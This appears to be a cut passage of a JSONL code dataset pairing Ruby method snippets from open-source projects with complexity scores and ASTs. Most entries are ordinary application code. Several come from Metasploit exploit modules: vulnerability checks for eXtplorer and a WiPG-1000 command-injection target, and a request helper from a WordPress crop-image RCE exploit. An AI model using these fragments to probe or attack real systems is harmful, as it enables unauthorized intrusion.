end","complexity_score":27.03,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"<<\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"peer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\"extplorer.xml\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<version>2\\\\.1\\\\.(0RC\\\\d|0|1|2)</version>\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"eXtplorer\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Connection failed\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"05f5d4c2-5522-41ae-8439-c3b11e30b394"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/wipg1000_cmd_injection.rb","start_line":53,"raw_source":"def check\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => '/cgi-bin/rdfs.cgi'\n    })\n    if res && res.body.include?(\"Follow administrator instructions to enter the complete path\")\n      Exploit::CheckCode::Appears\n    else\n      Exploit::CheckCode::Safe\n    end\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/cgi-bin/rdfs.cgi\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Follow administrator instructions to enter the complete path\"]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"ffbd6901-65d2-4cee-b8ee-3e84fb521188"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":700,"raw_source":"def test_array\n    @request.if_none_match = weak_etag([%w(1 2 3), \"ab\", :cde, [:f]])\n    get :array\n    assert_response :not_modified\n\n    @request.if_none_match = %(\"nomatch\")\n    get :array\n    assert_response :success\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"if_none_match=\",{\"type\":\"send\",\"children\":[null,\"weak_etag\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"1\"]},{\"type\":\"str\",\"children\":[\"2\"]},{\"type\":\"str\",\"children\":[\"3\"]}]},{\"type\":\"str\",\"children\":[\"ab\"]},{\"type\":\"sym\",\"children\":[\"cde\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"f\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"array\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"not_modified\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"if_none_match=\",{\"type\":\"str\",\"children\":[\"\\\"nomatch\\\"\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"array\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]}]}]}","id":"16f49fbe-84be-40e7-9b94-92db04e0cf79"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250502052327_disable_product_usage_data_collection_for_offline_licenses.rb","start_line":8,"raw_source":"def up\n    return unless Gitlab.ee?\n\n    # for offline license we disable regardless other settings\n    if License.current&.offline_cloud_license?\n      execute <<~SQL\n        UPDATE application_settings\n        SET service_ping_settings =\n          COALESCE(service_ping_settings, '{}'::jsonb) ||\n          jsonb_build_object('gitlab_product_usage_data_enabled', false)\n      SQL\n    else\n      # When operational metric is required in license, do not opt-out of product usage data\n      return if ::License.current&.customer_service_enabled?\n\n      # When offline license is false and operational metric is optional,\n      # we opt-out of product usage data when usage ping is off\n      execute <<~SQL\n          UPDATE application_settings\n          SET service_ping_settings =\n            COALESCE(service_ping_settings, '{}'::jsonb) ||\n            jsonb_build_object('gitlab_product_usage_data_enabled', false)\n          WHERE usage_ping_enabled = FALSE;\n      SQL\n    end\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ee?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"License\"]},\"current\"]},\"offline_cloud_license?\"]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE application_settings\\n\"]},{\"type\":\"str\",\"children\":[\"SET service_ping_settings =\\n\"]},{\"type\":\"str\",\"children\":[\"  COALESCE(service_ping_settings, '{}'::jsonb) ||\\n\"]},{\"type\":\"str\",\"children\":[\"  jsonb_build_object('gitlab_product_usage_data_enabled', false)\\n\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"License\"]},\"current\"]},\"customer_service_enabled?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE application_settings\\n\"]},{\"type\":\"str\",\"children\":[\"SET service_ping_settings =\\n\"]},{\"type\":\"str\",\"children\":[\"  COALESCE(service_ping_settings, '{}'::jsonb) ||\\n\"]},{\"type\":\"str\",\"children\":[\"  jsonb_build_object('gitlab_product_usage_data_enabled', false)\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE usage_ping_enabled = FALSE;\\n\"]}]}]}]}]}]}]}","id":"cb403402-f848-46e4-bcda-097b0d2525c7"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/controllers/api/v1/syncs_controller.rb","start_line":25,"raw_source":"def show\n        authorize @sync\n        @audit_resource = @sync.name\n        render json: @sync, status: :ok\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@sync\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@audit_resource\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sync\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@sync\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}]}]}","id":"130fec3d-90b4-4686-b67f-ce0edafa7eb1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/bulk_imports/export_status.rb","start_line":37,"raw_source":"def batches_count\n      status['batches_count'].to_i\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"batches_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"[]\",{\"type\":\"str\",\"children\":[\"batches_count\"]}]},\"to_i\"]}]}","id":"68837027-5e30-4d79-ba7c-604950d30bcb"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore.rb","start_line":192,"raw_source":"def self.spawn_process!(type, user_id, opts)\n    script = File.join(Rails.root, \"script\", \"spawn_backup_restore.rb\")\n    command = [\"bundle\", \"exec\", \"ruby\", script, type, user_id, opts.to_json].map(&:to_s)\n\n    pid = spawn({ \"RAILS_DB\" => RailsMultisite::ConnectionManagement.current_db }, *command)\n    Process.detach(pid)\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"spawn_process!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"script\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},{\"type\":\"str\",\"children\":[\"script\"]},{\"type\":\"str\",\"children\":[\"spawn_backup_restore.rb\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bundle\"]},{\"type\":\"str\",\"children\":[\"exec\"]},{\"type\":\"str\",\"children\":[\"ruby\"]},{\"type\":\"lvar\",\"children\":[\"script\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"to_json\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"send\",\"children\":[null,\"spawn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RAILS_DB\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RailsMultisite\"]},\"ConnectionManagement\"]},\"current_db\"]}]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"detach\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}]}","id":"096589c0-fd5e-47d5-adca-4a89fe41d322"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/journals/create_service/project_phase.rb","start_line":44,"raw_source":"def insert_sql\n      sanitize(<<~SQL.squish, journable_id:)\n        INSERT INTO\n          project_phase_journals (\n            journal_id,\n            phase_id,\n            start_date,\n            finish_date,\n            active,\n            duration\n          )\n        SELECT\n          #{id_from_inserted_journal_sql},\n          project_phases.id,\n          project_phases.start_date,\n          project_phases.finish_date,\n          project_phases.active,\n          project_phases.duration\n        FROM project_phases\n        WHERE\n          #{only_if_created_sql}\n          AND project_phases.project_id = :journable_id\n      SQL\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"insert_sql\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"sanitize\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO\\n\"]},{\"type\":\"str\",\"children\":[\"  project_phase_journals (\\n\"]},{\"type\":\"str\",\"children\":[\"    journal_id,\\n\"]},{\"type\":\"str\",\"children\":[\"    phase_id,\\n\"]},{\"type\":\"str\",\"children\":[\"    start_date,\\n\"]},{\"type\":\"str\",\"children\":[\"    finish_date,\\n\"]},{\"type\":\"str\",\"children\":[\"    active,\\n\"]},{\"type\":\"str\",\"children\":[\"    duration\\n\"]},{\"type\":\"str\",\"children\":[\"  )\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id_from_inserted_journal_sql\"]}]},{\"type\":\"str\",\"children\":[\",\\n\"]},{\"type\":\"str\",\"children\":[\"  project_phases.id,\\n\"]},{\"type\":\"str\",\"children\":[\"  project_phases.start_date,\\n\"]},{\"type\":\"str\",\"children\":[\"  project_phases.finish_date,\\n\"]},{\"type\":\"str\",\"children\":[\"  project_phases.active,\\n\"]},{\"type\":\"str\",\"children\":[\"  project_phases.duration\\n\"]},{\"type\":\"str\",\"children\":[\"FROM project_phases\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"only_if_created_sql\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  AND project_phases.project_id = :journable_id\\n\"]}]},\"squish\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"journable_id\"]},{\"type\":\"send\",\"children\":[null,\"journable_id\"]}]}]}]}]}","id":"0a02f2bd-5b07-4051-b0ad-e8fdef5d7bb4"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/helpers/spree/admin/shipment_helper.rb","start_line":18,"raw_source":"def shipments_for_transfer(current_shipment)\n      current_shipment.\n        order.\n        shipments.\n        ready_or_pending.\n        where(stock_location: available_stock_locations).\n        where.not(id: current_shipment.id).\n        pluck(:number, :id).\n        map { |n, i| [n, \"shipment_#{i}\"] }\n    end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"shipments_for_transfer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_shipment\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_shipment\"]},\"order\"]},\"shipments\"]},\"ready_or_pending\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stock_location\"]},{\"type\":\"send\",\"children\":[null,\"available_stock_locations\"]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_shipment\"]},\"id\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"number\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"shipment_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}]}]}","id":"31935bde-ad81-40a3-a188-83044dff068a"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/crm/leadsquared/setup_service.rb","start_line":106,"raw_source":"def brand_name\n    ::GlobalConfig.get('BRAND_NAME')['BRAND_NAME'].presence || 'Chatwoot'\n  end","complexity_score":4.9,"ast_json":"{\"type\":\"def\",\"children\":[\"brand_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"GlobalConfig\"]},\"get\",{\"type\":\"str\",\"children\":[\"BRAND_NAME\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"BRAND_NAME\"]}]},\"presence\"]},{\"type\":\"str\",\"children\":[\"Chatwoot\"]}]}]}","id":"3822f946-c25a-4323-8a81-2af26d5f086c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/extra_spacing.rb","start_line":111,"raw_source":"def ignored_range?(ast, start_pos)\n          ignored_ranges(ast).any? { |r| r.include?(start_pos) }\n        end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"ignored_range?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ast\"]},{\"type\":\"arg\",\"children\":[\"start_pos\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignored_ranges\",{\"type\":\"lvar\",\"children\":[\"ast\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"start_pos\"]}]}]}]}","id":"e01fd71f-43de-4a9c-96e1-262c3027c84d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/miq_provision_quota_mixin.rb","start_line":260,"raw_source":"def request_owner_email(request)\n    service_request?(request) ? request.requester.email : request.get_option(:owner_email)\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"request_owner_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_request?\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"requester\"]},\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"get_option\",{\"type\":\"sym\",\"children\":[\"owner_email\"]}]}]}]}","id":"f34a80af-6062-4e8d-890f-fd2ee5c0b22c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/middleware/release_env.rb","start_line":11,"raw_source":"def call(env)\n        app.call(env).tap { env.clear }\n      end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"clear\"]}]}]}","id":"2ec3cc8c-08b3-4b00-b3b8-e954763458c2"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/util.rb","start_line":87,"raw_source":"def args_end(node)\n        node.source_range.end\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"args_end\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"end\"]}]}","id":"b1c896ac-48c9-4d25-96fb-7885da115e54"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql_helpers.rb","start_line":262,"raw_source":"def with_clean_batchloader_executor(&block)\n    BatchLoader::Executor.ensure_current\n    yield\n  ensure\n    BatchLoader::Executor.clear_current\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_clean_batchloader_executor\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BatchLoader\"]},\"Executor\"]},\"ensure_current\"]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BatchLoader\"]},\"Executor\"]},\"clear_current\"]}]}]}","id":"421ebaca-bb47-489c-bb5e-081e5a751d2d"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/rescue_test.rb","start_line":138,"raw_source":"def exception_with_no_handler_for_wrapper\n    raise RecordInvalid\n  rescue\n    raise RangeError\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exception_with_no_handler_for_wrapper\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RecordInvalid\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RangeError\"]}]}]},null]}]}","id":"9ba2163d-4e89-4761-80e5-46b58b08881b"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/spm.rb","start_line":219,"raw_source":"def self.simulator_sdk_suffix(params)\n        return \"\" unless params[:simulator] == \"iphonesimulator\"\n        \"-simulator\"\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"simulator_sdk_suffix\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"simulator\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"iphonesimulator\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"str\",\"children\":[\"-simulator\"]}]}]}","id":"4b21d894-a0dd-41a4-bcc1-3657b486f306"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_crop_rce.rb","start_line":251,"raw_source":"def crop_image(image_id, ajax_nonce, cookie)\n    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => uri,\n      'cookie' => cookie,\n      'vars_post' => {\n        'action' => 'crop-image',\n        '_ajax_nonce' => ajax_nonce,\n        'id' => image_id,\n        'cropDetails[x1]' => 0,\n        'cropDetails[y1]' => 0,\n        'cropDetails[width]' => 400,\n        'cropDetails[height]' => 300,\n        'cropDetails[dst_width]' => 400,\n        'cropDetails[dst_height]' => 300\n      }\n    )\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"crop_image\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"image_id\"]},{\"type\":\"arg\",\"children\":[\"ajax_nonce\"]},{\"type\":\"arg\",\"children\":[\"cookie\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]},{\"type\":\"str\",\"children\":[\"wp-admin\"]},{\"type\":\"str\",\"children\":[\"admin-ajax.php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"crop-image\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"_ajax_nonce\"]},{\"type\":\"lvar\",\"children\":[\"ajax_nonce\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"image_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cropDetails[x1]\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cropD